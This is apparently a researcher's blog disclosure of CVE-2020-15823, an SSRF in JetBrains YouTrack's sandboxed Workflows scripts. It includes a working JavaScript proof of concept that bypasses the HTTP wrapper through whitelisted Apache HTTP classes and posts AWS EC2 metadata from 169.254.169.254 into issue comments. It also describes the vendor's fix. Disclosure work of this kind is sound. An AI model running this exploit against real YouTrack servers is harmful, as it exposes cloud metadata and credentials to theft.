CVE-2020–15823: Server-Side Request Forgery (SSRF) in JetBrains YouTrack

Yurii Sanin
MitmLab
4 min readAug 1, 2021

--

More than a year ago I discovered a misconfiguration that leads to SSRF in YouTrack, and here are detailed steps on how I did it.

Background

JetBrains YouTrack has a component called Workflows. The purpose of it is to create some automation scenarios using JavaScript. Of course, the environment is sandboxed and runs by Rhino engine. The engine has a LiveConnect feature, which allows interaction with Java classes from JS code. Due to security concerns, these classes have to be whitelisted by implementing a ClassShutter.

Latest versions of YouTrack use GraalVM for Workflows.

First attempts

I found that Workflows API has functionality for working with HTTP, so I decided to test it for SSRF issues. I’ve created code that would send GET requests to the AWS metadata service.

var entities = require('@jetbrains/youtrack-scripting-api/entities');
var http = require('@jetbrains/youtrack-scripting-api/http');
exports.rule = entities.Issue.onChange({
guard: function(ctx) {
return true;
},
action: function(ctx) {
var connection = new http.Connection('http://169.254.169.254');
var response = connection.getSync('');
if (response) {
var text = '';
response.headers.forEach(function(header) {
text += header.name + ': ' + header.value + '\n';
});
text += '\n' + response.response;
ctx.issue.addComment(text);
}
}, requirements: {}
});

As I expected, the request failed, and the following error message appeared.

I tried a few more requests to internal hosts, but none of them succeed. It seems like some logic inside a wrapper performs address filtering before sending an actual HTTP request. It made me think of what if there a way to initialize an HTTP client directly.

I tried to request my host to get some information about actual implementation, such as an HTTP library name and its version.

From the incoming request, I found that the wrapper uses Apache HTTP client, so I decided to initialize two objects with types from the org.apache.http namespace — CloseableHttpClient and HttpGet.

var oah = Packages.org.apache.http;
var entities = require('@jetbrains/youtrack-scripting-api/entities');
exports.rule = entities.Issue.onChange({
guard: function(ctx) {
return true;
},
action: function(ctx) {
var issue = ctx.issue;
var httpClient = new oah.impl.client.HttpClients.createDefault();
var request = new oah.client.methods.HttpGet("http://169.254.169.254");
var response = httpClient.execute(request);
var entity = response.getEntity();
issue.addComment(response);

}, requirements: {}
});

I was really surprised when the script finished without errors and I got a response object with a 200 HTTP status code.

It seems like developers left some of the classes/namespaces whitelisted for debug purposes (CloseableHttpClient, HttpGet) and this allowed me to perform an HTTP request to the AWS metadata service.

Here is the next problem — as a response result, we have an object of type HttpEntity or InputStream. None of them have built-in methods that can return a string representation of the response content, so we have to use the toString method from classes EntityUtils or IOUtils to do it. Unfortunately, none of these classes were available in this context which makes the SSRF semi-blind.

After a couple of minutes of inspecting Workflows API internals, I found usage of the static method Utils.readString from jetbrains.youtrack.scripts.sandbox namespace, which seemed like a wrapper method for IOUtils.toString, and does the same thing — gets the contents of an InputStream.

Proof Of Concept

Finally, I was able to craft a script that returns AWS metadata of the EC2 instance.

var oah = Packages.org.apache.http;
var sandbox = Packages.jetbrains.youtrack.scripts.sandbox;
var entities = require('@jetbrains/youtrack-scripting-api/entities');
exports.rule = entities.Issue.onChange({
guard: function(ctx) {
return true;
},
action: function(ctx) {
var issue = ctx.issue;
var httpClient = new oah.impl.client.HttpClients.createDefault();
var request = new oah.client.methods.HttpGet("http://169.254.169.254");
var response = httpClient.execute(request);
var entity = response.getEntity();
issue.addComment(response);if (entity != null) {
var content = entity.getContent();
var contentEncoding = entity.getContentEncoding() ?
entity.getContentEncoding().getValue() :
'UTF-8';
var body = sandbox.Utils.readString(content, contentEncoding);
issue.addComment(body);
}
}, requirements: {}
});

Fortunately, the script finished without errors, and AWS metadata versions appeared.

Mitigation

YouTrack team deleted org.apache.http.impl.client package from whitelist in ClassShutter, which makes it impossible to escape the HTTP client wrapper.

That’s it. I hope you liked this. Any questions? DM @ saninyurii

--

--